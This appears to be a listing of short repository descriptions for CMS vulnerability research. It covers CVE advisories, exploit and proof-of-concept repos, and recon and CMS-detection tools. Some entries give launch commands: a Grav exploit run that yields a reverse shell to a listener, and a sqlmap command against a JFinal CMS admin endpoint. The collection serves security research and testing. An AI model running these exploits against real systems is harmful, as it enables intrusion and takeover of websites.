CVE-2025-65899

CVE-2025-65899: Kalmia CMS v0.2.0 - is vulnerable to Observable Response Discrepancy Vulnerability Overview CVE ID: CVE-2025-65899 Product: DifuseHQ Kalmia CMS Affected Version: 0.2.0 Vulnerability Type: Observable Response Discrepancy Privileges Required: None Impact Allows unauthenticated...

CVE-2021-21425-RCE

this is my version i found a lot in internet but those are too bad USAGE python3 exploit.py -u http://IP/grav-admin/ --lhost YOUR TUN0 IP --lport 4444 wait.. for 60sec you will get shell at your listener...

CVE-2025-63314

CVE-2025-63314 - Improper Password Reset Token Handling in Acora CMS Discovered by Joby Y Daniel from Crowe India 📌 Overview DDSN Interactive cm3 Acora CMS version 10.7.1 contains a security vulnerability in its password reset functionality. The application uses a static and persistent password...

CVE-2023-23752

CVE-2023-23752 Description This repository contains Python and Bash scripts that serve as ports of the original Proof of Concept PoC written in Ruby for the vulnerability CVE-2023-23752 in Joomla! CMS versions 4.0.0 through 4.2.7 made by 'noraj' Alexandre ZANNI. An access control flaw was...

exploit_cms_fuel

Fuel CMS 1.4.1 - Remote Code Execution RCE Exploit This repository contains a Python 3 implementation of an exploit for Fuel CMS version 1.4.1. The script leverages CVE-2018-16763 , a vulnerability where insufficient input validation in the filter and preview parameters allows for PHP Code...

CVE-2020-18324

Subrion CMS 4.2.1 – Reflected XSS vulnerability in Kickstart template Description Subrion CMS is easy to install and simple to manage. Use it as a stand-alone application or in conjunction with other applications to create entry level sites, mid-sized or large sites. The Reflected Cross-site...

CVE-2025-65900

CVE-2025-65900: Kalmia CMS v0.2.0 - is vulnerable to Incorrect Access Control Vulnerability Overview CVE ID: CVE-2025-65900 Product: DifuseHQ Kalmia CMS Affected Version: 0.2.0 Vulnerability Type: Incorrect Access Control Privileges Required: Low Read-only user account Impact This vulnerability...

CVE-2022-37210

CVE-2022-37210 CVE-2022-37210 POC Suggested description JFinal CMS 5.1.0 is affected by: SQL Injection. These interfaces do not use the same component, nor do they have filters, but each uses its own SQL concatenation method, resulting in SQL injection. Additional Information...

CVE-2022-37201

CVE-2022-37201 CVE-2022-37201 POC POC First of all you should install sqlmap you need set target domain or IP your cookie the run the shell sqlmap -u http://targetDomainOrIP/jfinalcms/jfinalcms/admin/contact/list --thread 8 --batch --smart --random-agent --data "...

CVE-2018-10517

CVE-2018-12613 Authenticated remote command execution by uploading a fake module, dropping PHP files on remote web server. Software Affected 1. CMS Made Simple 2.2.7; How to use This PowerShell scripts need two parameters to craft a exploit HTTP request: 1. CMS Made Simple URL endpoint; 2. Cookie...

CMSeeK

What is a CMS? A content management system CMS manages the creation and modification of digital content. It typically supports multiple users in a collaborative environment. Some noteable examples are: WordPress, Joomla, Drupal etc. Release History - Version 1.1.3 25-07-2020 - Version 1.1.2...

CVE-2024-46209

Redaxo Security Research CVE-2024-46209, CVE-2024-46210 Redaxo CMS v5.17.1 security research Completed at 09 August 2024 Contains detailed description of: CVE-2024-46210 - Stored Cross-Site Scripting via file Upload in MediaPool module CVE-2024-46209 - Authenticated arbitrary code execution...

WhatCMS

WhatCMS.sh CMS Detection and Exploit Kit based on Whatcms.org API. Introduction Whatcms.sh can currently detect the use of more than 330 different CMS applications and services to later indicate a list of valid security audit tools for the detected CMS. You need the whatcms.org API to use the too...

webkiller

WebKiller V2 Tool Information Gathering Write With Python. PreView ██╗ ██╗███████╗██████╗ ██╗ ██╗██╗██╗ ██╗ ███████╗██████╗ ██║ ██║██╔════╝██╔══██╗██║ ██╔╝██║██║ ██║ ██╔════╝██╔══██╗ ██║ █╗ ██║█████╗ ██████╔╝█████╔╝ ██║██║ ██║ █████╗ ██████╔╝ ██║███╗██║██╔══╝ ██╔══██╗██╔═██╗ ██║██║ ██║ ██╔══╝...

-CVE-2023-33177-

Xibo CMS CVE-2023-33177 Vulnerability Tester Automated security testing tool for CVE-2023-33177 - Zip Slip Path Traversal vulnerability in Xibo CMS that leads to Remote Code Execution RCE. ⚠️ Disclaimer This tool is for educational and authorized testing purposes only. Only use on systems you own...

0day

0day For reasons known to us, the original repository was deleted, but local repo were kept, forks and stars cleared But rest assured, it's still the original recipe, the original taste. In case of this issue,please Follow Me Education use only 中文 | English EXP, POC of various CMS, platforms,...

CVE-2023-41892_PoC

CVE-2023-41892 Craft CMS PoC This repository contains proof-of-concept scripts and a local Vulhub lab for reproducing CVE-2023-41892, a pre-authenticated remote code execution vulnerability in Craft CMS. Use this project only in an authorized local lab or other systems where you have explicit...

craft-cms-RCE-CVE-2024-56145

craft-cms-RCE-CVE-2024-56145 A POC lab environment for CVE-2024-56145 CraftCMS RCE. Vulnerability Description A potential RCE vulnerability is found in craftCMS if the registerargcargv option is enabled in php.ini. This is a POC lab environment where you can reproduce and exploit the bug. The ful...

CVE-2025-60574

Vulnerability Discoverers & Exploit Authors Stefano Andreatta & Jacopo Candido Augelli CVE-2025-60574 Vulnerability Description A Local File Inclusion LFI vulnerability has been identified in tQuadra CMS 4.2.1117. The issue exists in the "/styles/" path, which fails to properly sanitize...

Spartan

Spartan Recon Like a Pro Wiki • Usage • Gallery Features Subdomain Scan Using Aquatone & Sublist3r Httprob for only Live sites Masscan for open ports Identifing CMS using CMSeeK Grabing URL's from waybackMachine ScreenShot using Aquatone Brute forcing directories and files using Dirsearch Cors Sc...